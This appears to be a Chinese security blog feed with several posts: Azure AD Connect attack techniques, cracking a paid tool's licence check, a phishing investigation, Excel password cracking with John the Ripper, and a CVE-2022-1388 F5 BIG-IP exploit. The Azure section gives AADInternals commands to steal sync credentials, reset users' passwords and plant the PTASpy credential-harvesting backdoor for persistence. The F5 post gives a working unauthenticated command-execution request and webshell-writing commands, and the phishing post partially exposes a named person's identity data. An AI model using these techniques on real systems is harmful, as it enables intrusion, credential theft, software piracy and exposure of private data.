　　假设一个场景用户采用了混合身份环境，并且 office365 模式，那么 Azure AD 是负责云端身份验证，Azure AD 为 Office 365 提供身份验证和授权服务，其中通过 RBAC 模型来确定用户对 Azure 资源的访问权限，如果正确即可通过 Azure AD 的凭据登录 Office 365。

　　‍

　　那么什么是 RBAC 模型，我们接着往下看。

　　‍

RBAC

　　RBAC 是基于角色的访问控制服务，用于管理用户对 Azure 资源的访问，包括他们可以对这些资源做什么以及他们可以访问哪些区域。

　　RBAC 的核心概念：

角色 (Role): 一组权限的集合。例如，“虚拟机管理员”角色可能拥有创建、启动、停止虚拟机的权限。
权限 (Permission): 对特定资源执行特定操作的能力。例如，对虚拟机的“启动”权限。
分配 (Assignment): 将角色分配给用户或组，使用户或组继承该角色的所有权限。

　　‍

　　这张图展示了 Azure 基于角色的访问控制（RBAC）的工作原理，详细说明如下：

　　1. 安全主体（Security Principal）：

安全主体是可以分配 Azure 角色的实体，包括：
- 用户（User）：Azure AD 中的个人用户。
- 组（Group）：Azure AD 中的一组用户。
- 服务主体（Service Principal）：代表应用程序或服务的身份。
- 托管标识（Managed Identity）：Azure 资源的自动管理身份。
在图中，安全主体是一个名为“Marketing Group”的组。

　　2. 角色定义（Role Definition）：

角色定义是一组权限的集合，描述了拥有该角色的实体可以对 Azure 资源执行的操作。
Azure RBAC 提供了许多内置角色，例如：
- 拥有者（Owner）：对资源具有完全访问权限。
- 参与者（Contributor）：可以创建和管理资源，但不能授予访问权限。
- 读取者（Reader）：只能查看资源，不能修改。
还可以创建自定义角色，以满足特定的需求。
在图中，“Contributor”角色被分配给 Marketing Group，这意味着该组的成员可以对资源进行修改，但不能授予访问权限。

　　3. 角色分配（Role Assignment）：

角色分配是将角色定义与安全主体和作用域关联起来的过程。
通过角色分配，您可以控制哪些安全主体可以在哪些作用域内执行哪些操作。
在图中，"Contributor"角色被分配给 Marketing Group，作用域是名为"pharma-sales"的资源组。

　　4. 作用域（Scope）：

作用域是 RBAC 应用的范围，可以是：
- 管理组（Management Group）：包含多个订阅的容器。
- 订阅（Subscription）：Azure 服务的基本计费单位。
- 资源组（Resource Group）：包含相关 Azure 资源的逻辑容器。
- 单个资源（Individual Resource）：例如虚拟机、存储帐户等。
在图中，作用域是名为"pharma-sales"的资源组，这意味着 Marketing Group 的成员只能在这个资源组内行使"Contributor"角色的权限。

　　‍

　　同时一个一个 User/Group 是可以被多个 Role 所绑定的。

　　‍

ABAC

　　ABAC 是另一种访问控制模型，与 RBAC 相比，它提供了更细粒度、更灵活的权限管理方式。

　　ABAC 的核心概念：

属性 (Attribute): 描述主体（用户、组、应用程序等）、资源（文件、数据、服务等）或环境（时间、位置、网络等）的特征。例如，用户的部门、职称、安全许可等级，资源的类型、敏感度、创建日期，环境的 IP 地址、设备类型等。
策略 (Policy): 一组规则，定义了在满足特定条件时允许或拒绝访问。策略通常使用属性来表达条件，例如，“允许市场部员工在工作时间访问市场数据”。

　　‍

　　我用一个图来解释这种行为：

　　‍

允许访问市场数据： 这是策略的具体内容，说明了在什么条件下允许访问市场数据。
主体、资源、环境： 这是 ABAC 模型的三个核心要素，分别表示访问者、被访问对象和访问环境。
部门、数据类型、时间、星期几： 这是具体属性，用于描述主体、资源和环境的特征。
市场部、市场数据、9:00-17:00、周一-周五： 这是属性的具体值，用于限定访问条件。

　　逻辑关系就是：

　　只有当以下三个条件同时满足时，才允许访问市场数据：

主体的部门属性为“市场部”。
资源的数据类型属性为“市场数据”。
环境的时间属性在 9:00-17:00 之间，且星期几属性为周一至周五。

　　我认为这一块和基于资源的约束委派定义差不多。

　　‍

Azure AD Connect 架构与工作原理

Azure AD Connect 功能概述

　　Azure AD Connect 是微软提供的一个工具，用于在本地 Active Directory (AD) 和 Azure Active Directory (Azure AD) 之间建立混合身份集成。

　　Azure AD Connect 功能：

密码哈希同步 (Password Hash Synchronization, PHS): 将本地 AD 用户的密码哈希同步到 Azure AD，使用户可以使用相同的密码登录到本地和云端服务。
传递身份验证 (Pass-through Authentication, PTA): 允许用户使用其本地 AD 凭据直接登录到 Azure AD，无需在云端存储密码哈希。
联合身份验证 (Federation): 将身份验证请求重定向到本地 AD FS (Active Directory Federation Services) 或第三方身份提供商 (IdP)，实现更高级的身份验证和授权方案。

三种同步方式

PHS

哈希同步的原理和风险

　　密码哈希同步 (PHS) 是 AzureAD Connect 的一项功能- 它是最容易实现的身份验证选项，也是默认选项。PHS 的工作方式是，每当在本地更改密码时，来自 Active Directory 的密码哈希就会同步到 Azure AD 中。

　　注意点一点是，通过 Azure AD 修改用户密码时，新的密码不会同步回本地 AD。PHS 机制是单向的，仅支持将本地 AD 的密码哈希值同步到 Azure AD，而不支持从 Azure AD 同步回本地 AD。要使密码在 Azure AD 和本地 AD 之间双向同步，需使用其他机制如密码写回 (Password Writeback) 功能。然而，密码写回功能需要 Azure AD Premium P1 或 P2 许可证，并且需要在 Azure AD Connect 中配置。

　　‍

　　他的原理如下：

获取密码哈希： Azure AD Connect 从本地 Active Directory (AD) 中读取用户的密码哈希值。密码哈希是通过对用户密码应用单向加密算法（如 NTLM 或 Kerberos）生成的固定长度字符串。
处理密码哈希： 为了增强安全性，Azure AD Connect 会对获取到的密码哈希进行一些额外的处理，包括：
- 加盐 (Salting): 在密码哈希中添加随机字符串（盐），以防止彩虹表攻击。
- 不可逆加密： 对加盐后的密码哈希再次应用单向加密算法，使得无法从云端哈希还原出原始密码。
同步到 Azure AD： Azure AD Connect 将处理后的密码哈希安全地同步到 Azure AD，只同步自上次同步以来发生更改的密码哈希。
用户登录验证： 当用户尝试登录 Azure AD 或 Office 365 等云服务时，Azure AD 会将用户输入的密码进行相同的哈希处理，然后与存储在 Azure AD 中的密码哈希进行比较。如果两个哈希值匹配，则验证通过，允许用户登录。

　　同步操作会半小时进行一次，当加入混合模式后，会发生什么？

　　新增了一个 MSQL 标志的用户，当我们查看他拥有权限的时候会发生什么。

　　值得注意的是，此用户并不会同步到 AAD 里面去。

　　Azure AD Connect 默认会排除以下类型的账户：

内置管理员账户，如 Administrator
其他内置和系统账户
被禁用的账户

　　这一点可以 Get-ADSyncRule 来获取同步用户的规则。

　　所有 AD 域环境中的 Administrator、Guest 和 krbtgt 账户是不会同步上去的。

　　这些规则的设计目的是为了避免将一些系统账户、来宾账户或高权限账户同步到 Azure AD，从而保护 Azure AD 的安全性和稳定性。

　　如本文前面所述，Azure AD Connect 在本地 Active Directory 上创建了一个同步帐户。

　　由于他负责将用户密码哈希的哈希发送到云端，因此该用户在域上具有复制权限。

　　我们来看看他如何同步密码：

　　这段代码定义了一个名为 PasswordHashGenerator 的类，它是 ClearPasswordHashGenerator 的子类。PasswordHashGenerator 主要作用是生成密码哈希值，用于在 Azure AD Connect 中同步密码。

　　重新哈希过程由 OrgIdHashGenerator 类中的方法处理，OrgIdHashGenerator 类会对加盐后的哈希值应用 SHA256 算法，重复 1000 次。每次哈希都会将上一次的结果作为输入，从而产生一个更复杂、更难以破解的最终哈希值。

　　‍

　　我们来验证一下此过程，为了方便演示，我这里新增了一个 AD 域用户“lihua009”

　　然后强制发起一次同步流程。

　　dnspy 也已经停留在下断点的地方

　　来比较一下是否一致，

　　‍

滥用特权

　　那么之前我们提到的配置 PHS 之后会自动创建两个用户。

　　MSQL_会自动在本地 AD 中创建。此帐户被赋予__目录同步帐户角色（参见文档），这意味着它*_在本地 AD 中具有复制（DCSync）权限。

　　Sync*是在 Azure AD 中创建一个帐户。此帐户可以重置 Azure AD 中任何用户（同步或仅限云）的密码

　　这两个特权帐户的密码存储在安装 Azure AD Connect 的服务器上的 SQL 服务器中。

　　数据库位于。C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

　　ADsync 用户在本地是以服务账户进行启动的，参考如下：

　　Azure AD Connect 服务利用名为 NT SERVICE\ADSync 的虚拟服务帐户来执行服务进程 (miiserver.exe)。

　　当你拥有管理员权限并且在安装了 Azure AD Connect 的服务器上，就可以执行相关的命令。

　　可以使用 AADInternals 进行提取，如下图：

　　‍

　　获取到这些 sync 的凭据之后，可以直接利用令牌更改任何经过 AAD 同步用户的密码，如下：

# 获取全局管理员列表
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins

# 获取所有用户
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users

　　‍

# 获取指定用户的 ImmutableId，替换为你的实际用户
$userPrincipalName = "lihua009@5tgyh1.onmicrosoft.com"
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user

# 使用 ImmutableId 重置用户密码，替换为你需要的新密码
$newPassword = "AbcdPass12343!@#"
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose

　　# 现在可以使用新密码访问 Azure AD，使用旧密码访问 op-prem（密码更改不同步）

　　因为我们是模拟了票据从 AAD 进行的密码修改，也没有开启密码写回，所以修改的此用户密码是无法登陆本地 AD 的。

　　‍

PHS 攻击面总结

　　那么我们总结一下 PHS 的一个概述

　　同步流程：

密码哈希的提取：
当用户在本地 AD 中创建或修改密码时，AD 会存储密码的哈希值（通常是 NTLM 哈希）。
哈希值的提取和处理：
Azure AD Connect 工具会定期从本地 AD 中提取这些密码哈希值。为了增强安全性，Azure AD Connect 不直接传输 NTLM 哈希，而是对其进行额外处理：
- 首先，Azure AD Connect 会对 NTLM 哈希值进行加盐和哈希处理，生成一个新的哈希值。
- 这个新的哈希值再经过 PBKDF2（Password-Based Key Derivation Function 2）加密算法处理，增加计算复杂度和安全性。
传输到 Azure AD：
处理后的哈希值通过加密的通道传输到 Azure AD。

　　工作流程：

定期同步：
Azure AD Connect 工具默认每 30 分钟进行一次同步。你也可以手动触发同步。
密码哈希的存储：
传输到 Azure AD 的密码哈希值被存储在 Azure AD 中，用于用户身份验证。

　　验证过程：

　　当用户尝试登录 Azure AD 资源（如 Office 365、Azure 门户等）时，身份验证过程如下：

用户输入密码：
用户在登录界面输入用户名和密码。
密码验证：
Azure AD 将用户输入的密码进行相同的哈希处理，并与存储在 Azure AD 中的密码哈希值进行比较。
- 如果哈希值匹配，则用户通过身份验证。
- 如果哈希值不匹配，则用户身份验证失败。

　　‍

　　同步机制：

本地 AD 密码修改：
当用户在本地 AD 中修改密码时，新的密码哈希值会在下次同步时传输到 Azure AD。
Azure AD 密码修改：
如果用户在 Azure AD 中修改密码，新的密码不会同步回本地 AD。这是因为 PHS 默认是单向同步机制。

　　‍

　　QA：

是否能攻击本地域：
这是有可能的，因为 PHS 是二次 hash 过程到云端，就算你的密码在 AAD 中被泄露，这也是难以逆向的。但是不排除你的 AAD 密码和 AD 密码是一致的。
sync 滥用拿到的 sync 权限对本地域用户也有权限吗可以直接导本地用户信息不：Sync 权限很高，可以理解为同步控制器，主要用于管理同步过程，将本地 AD 的数据同步到云端的 Azure AD。默认情况下，Sync 帐户在本地 AD 中只有只读权限，因此不能直接导出或更改本地 AD 用户信息，只能影响云端用户。然而，如果开启了密码写回功能，Sync 帐户会获得对本地 AD 用户进行写操作的权限，从而可以实现双向影响，即可以将云端的密码更改写回到本地 AD。因此，Sync 权限在这种情况下可以影响本地 AD 用户。这种情况下，可以影响本地 AD 用户信息。

　　‍

PTA

代理同步的原理和风险

　　来自文档: Azure Active Directory (Azure AD) Pass-through Authentication 允许用户使用相同的密码登录本地和基于云的应用程序。此功能为用户提供了更好的体验——少记一个密码，并减少了 IT 帮助台的成本，因为用户不太可能忘记如何登录。当用户使用 Azure AD 登录时，此功能直接针对本地 Active Directory 验证用户的密码。

　　在 PTA 中，身份是同步的，但密码不像在 PHS 中那样同步。

　　身份验证在本地 AD 中验证，与云的通信由运行在本地服务器上的身份验证代理完成（不需要在本地 DC 上）。

　　需要在 azure 中切换用户登陆方法为直通身份验证模式，如下图：

　　‍

　　官方的建议是在大型域情况下设置 4 台以上的 PTA 代理服务器,同时这些服务器的安全性建议设置为最高（当然 PTA 服务器越多，存在的可能攻击面就越大。）

　　‍

　　该 PTA 服务器关键进程如下：C:\Program Files\Microsoft Azure AD Connect Authentication Agent

　　其中负责同步的进程 AzureADConnectAuthenticationAgentService.exe

　　在进程的方法打个断点后发起一次强制流程看看。

　　‍

　　那么 PTS 是如何进行逻辑验证的呢，可以先看看他的代码，大概流程如下：

using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;

namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
    // 表示与 Active Directory 域交互的上下文。
    public class ActiveDirectoryDomainContext : IDomainContext
    {
        // 域名属性。
        public string Domain { get; private set; }

        // 构造函数，初始化域上下文。
        public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
        {
            // 初始化 Domain 属性。如果域名为空或为 null，则设置为 null。
            this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
            // 初始化 nativeMethodWrapper 字段。
            this.nativeMethodWrapper = nativeMethodWrapper;
        }

        // 方法，用于验证用户凭据是否与 Active Directory 域匹配。
        public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
        {
            bool result;
            try
            {
                // 验证 userPrincipalName 和 password 是否为 null 或空。
                userPrincipalName.ValidateNotNullOrEmpty("userPrincipalName");
                password.ValidateNotNullOrEmpty("password");

                // 检查域名是否有效。
                if (!this.ValidateDomainName())
                {
                    // 如果域名无效，则设置错误代码并返回 false。
                    errorCode = string.Format("InvalidDomainName:'{0}'", this.Domain);
                    result = false;
                }
                else
                {
                    // 尝试使用提供的凭据登录用户。
                    bool flag = this.LogonUser(userPrincipalName, password);

                    if (flag)
                    {
                        // 如果登录成功，将错误代码设置为 0。
                        errorCode = 0;
                    }
                    else
                    {
                        // 如果登录失败，获取最后的 Win32 错误代码并记录警告。
                        errorCode = this.nativeMethodWrapper.GetLastWin32Error();
                        Trace.TraceWarning("Logon user failed with error: '{0}'", new object[]
                        {
                            errorCode
                        });
                    }
                    result = flag;
                }
            }
            catch (Exception ex)
            {
                // 记录异常信息。
                Trace.TraceError("Unknown Exception was thrown for domain '{0}'. Ex: '{1}'", new object[]
                {
                    this.Domain,
                    ex
                });
                errorCode = ex.GetType().ToString();
                result = false;
            }
            return result;
        }

        // 私有方法，用于使用指定的用户凭据登录。
        private bool LogonUser(string userPrincipalName, string password)
        {
            SafeCloseHandle safeCloseHandle = null;
            bool result;
            try
            {
                // 调用 nativeMethodWrapper 的 LogonUser 方法进行登录。
                result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
            }
            finally
            {
                // 确保释放 SafeCloseHandle 资源。
                if (safeCloseHandle != null)
                {
                    safeCloseHandle.Dispose();
                }
            }
            return result;
        }

        // 私有方法，用于验证域名的有效性。
        private bool ValidateDomainName()
        {
            // 检查域名是否为 '.'，如果是，则记录错误并返回 false。
            if (this.Domain != null && this.Domain.Equals("."))
            {
                Trace.TraceError("Failed to create domain context due to invalid domain. Domain: '{0}'", new object[]
                {
                    this.Domain
                });
                return false;
            }
            return true;
        }

        // 常量定义。
        private const uint LOGON32_PROVIDER_DEFAULT = 0U; // 默认的登录提供程序。
        private const uint LOGON32_LOGON_NETWORK = 3U; // 网络登录类型。
        private const string InvalidDomainNameErrorFormat = "InvalidDomainName:'{0}'"; // 无效域名错误格式。
        private const int SuccessCode = 0; // 成功代码。
      
        // 私有字段，用于封装本地方法调用。
        private readonly INativeMethodWrapper nativeMethodWrapper;
    }
}

　　代码说明：

ActiveDirectoryDomainContext 类:
- Domain 属性: 存储域名。
- 构造函数: 初始化 Domain 属性和 nativeMethodWrapper 字段。
ValidateCredentials 方法:
- 验证 userPrincipalName 和 password 是否有效。
- 检查域名是否有效。
- 尝试使用 LogonUser 方法登录用户。
- 根据登录结果设置 errorCode 并记录日志。
LogonUser 方法:
- 调用 nativeMethodWrapper 的 LogonUser 方法进行用户登录。
- 确保在完成后释放 SafeCloseHandle 资源。
ValidateDomainName 方法:
- 验证域名是否有效，如果域名为 . 则记录错误并返回 false。
常量和字段:
- LOGON32_PROVIDER_DEFAULT, LOGON32_LOGON_NETWORK, InvalidDomainNameErrorFormat, 和 SuccessCode 是常量定义，用于登录操作和错误处理。
- nativeMethodWrapper 用于封装对本地方法的调用。

　　‍

　　这意味着，当用户通过配置了 PTA 的 Azure AD 输入密码时，他们的凭据是以未加密的形式传输到 PTA 上，然后 PTA 根据 Active Directory 对其进行验证。那么，如果我们入侵了负责 Azure AD Connect 的服务器会怎么样？

　　显而易见，可以控制整个 PTA 服务器，并且所有通过该代理端点登陆的信息都会被截取。

　　‍

中间人/后门

　　正如前面所说的，这套流程会将本地的域信息通过 PTA 进行连接起来，那么特定情况下的攻击面就如下了：

　　当实际行动中拿到了运行 PTA 的代理服务器,并且有本地管理员的权限下可以进行后门做权限维持，其中,进程名为：AzureADConnectAuthenticationAgentService.exe。

　　‍

　　查找 AAD 中存在的 PTA 代理信息：

Import-Module AADInternals //导入模块
Get-AADIntProxyAgents //获取存在PTA的机器

　　实际作战中可以先找这些 PTA 机器作为维权的优先流程。

　　‍

　　参考：https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta

Install-AADIntPTASpy //注入恶意后门
Get-AADIntAccessTokenForPTA -SaveToCache

　　使用该命令后会创建一个隐藏文件夹 (C:\PTASPy)，并将 PTASpy.dll 复制到那里。

　　然后将 PTASpy.dll 注入正在运行的 AzureADConnectAuthenticationAgentService.exe。

　　安装后，PTASpy 会收集所有使用的凭据， 并将其与 Base64 编码的密码一起存储到 C:\PTASpy\PTASpy.csv。

　　值得一提的是，该 PTA 是默认后门的功能，没有去判断密码的正确。

　　‍

　　也可以使用使用 Get-AADIntPTASpyLog 读取明文的密码。

　　‍

　　未完待续。

　　‍

对一个微信小程序软件的逆向

Thu, 26 Jun 2025 00:00:00 GMT

对一个微信小程序软件的逆向

‍

0x01

因为最近有反编译微信小程序的需求，用了一个工具发现还不错，但是过了几天弹出了收费需求，感觉验证挺简单的。尝试破解一下。

因为运行之后在主程序上这是一个窗口，我不太懂逆向，根据我能理解的一点知识，我觉得或许能够将这个窗口给 push 掉。

‍

0X02

看到文件夹中的 pdb 和 DLL，猜测大概率是 C #写的，查了一下壳。#

‍

丢入 dnspy 查看一下，

‍

这个源码和接口明显就是混淆过的，感觉和 Net Reactor 的壳非常相似，尝试一下脱壳。

使用网上通用的 Net Reactor 脱壳方案即可脱壳成功，同时重新加载主程序进去看看。

这下代码都很正常了。

刚开始在主程序里面没有找到更新的那块代码,后来在 Common.dll 中找到了（同样混淆了，需要脱壳）

‍

打个断点跑一下代码，看看退出的时候会断在哪里。

‍

发现会上传挺多数据到服务器那边的，包含 BIOS USER 网卡 ID 主板编号 CPU 型号等信息，猜测应该是用作于支付后的状态确认。

如果打开支付页面变量会成为 true 如果直接退出则是 false，直接搜索这个方法去看看那块代码。

‍

程序更新也在这块代码里，逻辑也很简单。

一个 code 标志用于判断，如果 code 是-45 则打开赞助窗口，如果是 0，则进入下一步。

那这样破解思路也很简单了，只需要把他这块判断全部 nop 掉，然后最后填充一个 0 保持他原本的代码完整可以通过验证逻辑就行。

‍

完事。

‍

记一次钓鱼邮件溯源

Sat, 07 Jun 2025 00:00:00 GMT

0X01

接到客户通知，发现疑似一份钓鱼邮件，要求进行研判并且溯源。

邮件大概如下：

0X02

压缩包更改为EML之后打开文件，压缩包内容如下：

PS：此处的index.exe初始状态为index.sc，为了方便分析这里改掉了原始后缀。其中最主要的可执行文件为index.exe，作用是通过这个exe去拉起那个html文件。

刚好开始没明白意图是啥，众所周知，Windows系统下是可执行文件的PE头如下：

直接打开的话状态如下：

这里有个令我感到疑惑的地方，这里面的这个.sc文件是EXE格式的，但是在Windows GUI下面去点击他是默认不会当作exe去执行的，只有console才会当作EXE去执行。

但是钓鱼吧，肯定需要GUI方式触发，这里又是这种写法。
猜测意图应该是还有其他东西把这个文件启动，要么就是搞错了。。

在这启动同目录下的indexrcs.html

但目录下面的html文件叫index，这里实际启动的html文件名字和文件夹里的不符。

感觉攻击者疏忽了。

并且微步 virustotal都是全绿，后补一张图：

反虚拟机做的也不错，检测你temp目录下面的文件，少于多少个，就不执行了。

正常物理机temp目录下几百个文件有的，虚拟机相对干净一些。

整体行为就是打开同路径的index.html文件，是一个正常的扫描报告，然后通过创建新线程的方式执行shellcode，CS木马，C2地址：207.XXX.XXX.XXX。

0X03

拿到IP之后，就可以尝试进行溯源了，对该IP进行情报收集

比较幸运的是发现了一个历史解析是一个CN域名

通过查询whois信息获取到注册人的邮箱信息和个人姓名。

对该邮箱进行历史信息关联可以得到以下结果：

姓名：xx鑫

邮箱：****5@qq.com

身份证号：440********16

手机号：1768****113

那么该如何确定他是此IP是否为真实的攻击者呢？

如上面所述，可以查询IP段是哪个机房的机器，通过对IP的查询，获得了对应的服务商是vultr。

通过对vultr注册账号信息，得到结果:

即可以确认：该钓鱼邮件/恶意IP/域名/人要素齐全高强度关联。

同时利用情报获取到一封PDF文件。确定了该员工为某集团信息部员工。

END。

John暴力破解忘记的Excel密码

Fri, 23 May 2025 00:00:00 GMT

我朋友问我有一个很重要的excel忘记密码了，能不能找回来了，对他很重要，我记得老早之前hashcat是可以破解的，顺便查了一下，记录一下用法。

简单叙述如何使用强大的密码破解工具 John the Ripper (JtR) 来恢复忘记密码的 XLSX 文件。我们将从基础概念讲起，覆盖 John 的几种核心破解模式。

前提条件

John the Ripper: 确保你已经下载并解压了 John the Ripper。强烈推荐使用社区增强版 "Jumbo John"，因为它支持更多的哈希类型和 GPU 加速。https://github.com/openwall/john
目标文件: 你需要破解密码的 .xlsx 文件。

第一步：从 XLSX 文件中提取哈希

John a Ripper 无法直接处理 .xlsx 文件，它需要一个特殊格式的“哈希”字符串。我们使用 office2john.py 脚本来提取它。

打开你的终端（Windows 上的 PowerShell 或 CMD）。
使用 cd 命令进入 John the Ripper 的 run 目录。
运行以下命令：

# 将 "C:\path\to\your\file.xlsx" 替换为你的 Excel 文件完整路径
python .\office2john.py "C:\path\to\your\file.xlsx" > hash.txt

这个命令会生成一个名为 hash.txt 的文件，里面包含了 John a Ripper 需要的加密信息。

第二步：选择破解模式并执行

John the Ripper 拥有多种破解模式，针对不同场景选择合适的模式是成功的关键。

John 的核心破解模式

1. 字典模式 (Wordlist Mode)

这是最常用的模式。你提供一个包含常用密码的字典文件（wordlist），John 会逐一尝试。还可以配合规则（Rules）对字典词汇进行变形（如 pass -> P@ss123），极大提升成功率。

# --wordlist=后接你的字典文件路径
john --wordlist=password.lst hash.txt

2. 增量模式 (Incremental Mode)

纯粹的暴力破解。它会尝试所有可能的字符组合，理论上只要时间足够，一定能破解。但对于稍长的密码，会非常非常慢。

# 尝试所有8位以内的小写字母组合
john --incremental=Lower --max-len=8 hash.txt

3. 掩码模式 (Mask Mode) - 本次使用的模式

当你对密码结构有一定了解时，这是最高效的模式。你可以定义密码的格式，极大地缩小搜索范围。

?d: 代表一位数字 (0-9)
?l: 代表一位小写字母 (a-z)
?u: 代表一位大写字母 (A-Z)
?s: 代表一位特殊符号 (!@#$)

示例: 破解一个6位纯数字密码。‘

参考可以查阅：https://in.security/2022/06/20/hashcat-pssw0rd-cracking-brute-force-mask-hybrid/

https://github.com/openwall/john/blob/bleeding-jumbo/doc/RULES

(非常复杂，建议直接问AI)

john --mask=?d?d?d?d?d?d hash.txt

简单来说：

? 符号本身不是一个字符，而是一个“特殊指令”或“前缀”，它告诉 John：“请注意，跟在我后面的那个字母不是普通字母，而是一个代表特定字符集的占位符。”

把它想象成一个填空题：

__ __ __ __ __ __

?d?d?d?d?d?d 这个掩码就等于在说：

在第一个空 __ 里，填一个数字（digit） (?d)
在第二个空 __ 里，填一个数字（digit） (?d)
...依此类推，填满六个空。

详细分解

让我们来深入看一下 ? 和它后面字母的组合。

1. 内置的标准占位符

John the Ripper 预定义了一些字母，当它们跟在 ? 后面时，就代表了特定的字符集。最常用的有：

| 占位符 | 代表的字符集 | 解释 | 示例字符 | | --- | --- | --- | --- | | ?d | Digits | 数字 | 0, 1, 2, ... 9 | | ?l | Lower | 小写字母 | a, b, c, ... z | | ?u | Upper | 大写字母 | A, B, C, ... Z | | ?s | Special | 特殊符号（ASCII） | !, @, #, $ ... | | ?a | All | 所有可打印的字符（?l+?u+?d+?s） | a, A, 1, ! ... | | ?h | Hex, lower | 小写的十六进制字符 | 0-9, a-f | | ?H | Hex, upper | 大写的十六进制字符 | 0-9, A-F | | ?b | All 8-bit | 所有可能的 ASCII 字符 (0-255) | (所有字符) |

2. 如何组合它们？

你可以自由地组合这些占位符来构建你认为可能的密码结构。

示例1：一个首字母大写，后跟7个小写字母的密码 (例如 Password)

--mask=?u?l?l?l?l?l?l?l

示例2：一个4位数字的ATM密码，后面跟着两个大写字母 (例如 1234AB)

--mask=?d?d?d?d?u?u

3. 如果密码里就包含一个普通字母怎么办？

任何没有 ? 前缀的字符都会被当作普通（或“字面”）字符来处理。John a Ripper 会认为这个位置的字符是固定不变的。

示例3：你知道密码以 pass- 开头，后面是4个数字 (例如 pass-1234)

--mask=pass-?d?d?d?d

在这个例子里，p, a, s, s, - 都是固定不变的，只有后面的四个 ?d 位置会被 John 暴力破解。这极大地减少了搜索空间！

4. 更高级的用法：自定义字符集

你甚至可以定义自己的占位符 ?1, ?2, ?3 等。

示例4：你知道密码只有8位，且只包含 a, b, c, 1, 2, 3 这几个字符。
你可以定义一个自定义字符集 ?1，然后重复它8次。

john --mask='?1?1?1?1?1?1?1?1' --mask-char-?1='abc123' hash.txt

- <font style="color:rgb(26, 28, 30);">--mask-char-?1='abc123'</font><font style="color:rgb(26, 28, 30);">：这部分定义了</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">?1</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">这个占位符代表的字符集就是</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">'abc123'</font><font style="color:rgb(26, 28, 30);">。</font>
- <font style="color:rgb(26, 28, 30);">--mask='?1?1?1?1?1?1?1?1'</font><font style="color:rgb(26, 28, 30);">: 这部分告诉 John a Ripper 密码由8个来自</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">?1</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">字符集的字符组成。</font>

? 符号它本身没有意义，但它赋予了紧跟其后的字母特殊的含义，让你可以从“盲目地暴力破解所有可能”转变为“精确地、有策略地暴力破解特定格式”，从而将破解时间从几年缩短到几秒钟。

4. 单一破解模式 (Single Crack Mode)

John 默认最先尝试的模式，速度极快。它会利用哈希文件中的用户名等信息进行简单的变换和猜测。

# 不加任何模式参数，默认就会启用
john hash.txt

实战演练：破解一个6位数字密码的 XLSX 文件

在我们的实战中，我们知道密码是6位数字，所以选择掩码模式。

理想的命令是：

.\john --mask=?d?d?d?d?d?d hash.txt

常见问题与解决方案

错误 : `Error: UTF-16 BOM seen in input file.`

问题: John 无法识别 hash.txt 的文件编码。
原因: 使用 Windows PowerShell 的 > 重定向符创建文件时，默认编码是 UTF-16，而 John 需要 UTF-8 或 ASCII。
解决方案:
1. 用记事本打开 hash.txt 文件。
2. 选择 "文件" -> "另存为"。
3. 在弹出的窗口下方，将“编码”从 UTF-16 LE 修改为 UTF-8。
4. 保存并覆盖原文件。

第三步：查看破解结果

当命令成功执行后，你会看到类似下面的输出：

Warning: detected hash type "Office", but the string is also recognized as "office-opencl"
Use the "--format=office-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
933728           (微信登记1 (1).xlsx)
1g 0:00:00:29 DONE (2025-09-05 19:45) 0.03344g/s 20067p/s 20067c/s 20067C/s 616778..351115

结果解读:

破解的密码: 933728
花费时间: 0:00:00:29，即 29秒。

如果之后想再次查看已破解的密码，可以运行：

.\john --show hash.txt

至此，结束。

PS：

外面第三方软件有很多，我找了一下找到了一个Passper for Excel.exe的软件，看了一下应该也是调用的John，支持GUI图形化，建议有需要直接使用这个，搜索相关Passper for Excel crack。

CVE-2022-1388 F5 BIG-IP未授权RCE漏洞&写Webshell

Sat, 17 May 2025 00:00:00 GMT

漏洞描述

漏洞描述:

在 F5 BIG-IP 16.1.x 16.1.2.2 之前的版本、15.1.5.1 之前的 15.1.x 版本、14.1.4.6 之前的

14.1.x 版本、13.1.5 之前的 13.1.x 版本以及所有 12.1.x和 11.6.x 版本，未公开的请求可能会绕过

iControl REST 身份验证。注意：未评估已达到技术支持终止 (EoTS) 的软件版本.

复现过程

HTTP请求包如下：

POST /mgmt/tm/util/bash HTTP/1.1
Host:xxxxxxx
Connection: keep-alive, x-F5-Auth-Token
X-F5-Auth-Token: anything
Authorization: Basic YWRtaW46
Content-Length: 45
Content-Type:application/json
{
"command":"run",
"utilCmdArgs":"-c id"
}

‍

EXP/POC

‍

CVE-2022-1388-EXP-main.zip

‍

Webshell写入

反弹获得了shell。

‍

Webshell的写入可以参考另外一个漏洞F5 BIG-IP CVE-2020-5902

写入的路径为：/usr/local/www

mount -o remount -rw /usr
echo "<?php phpinfo();?> " > /usr/local/www/test.php
mount -o remount -r /usr

访问路径：

‍

参考

‍

F5 BIG-IP远程代码执行漏洞复现（CVE-2020-5902）

‍

CVE-2020-5902:F5 BIG-IP RCE分析研究

‍

记一次从供应商到目标之旅

Thu, 01 May 2025 00:00:00 GMT

‍

因涉及敏感信息较多，厚码见谅。

最近一段时间有个项目，当时对某个单位目标进行了信息收集，该系统是一个邮件系统。

‍

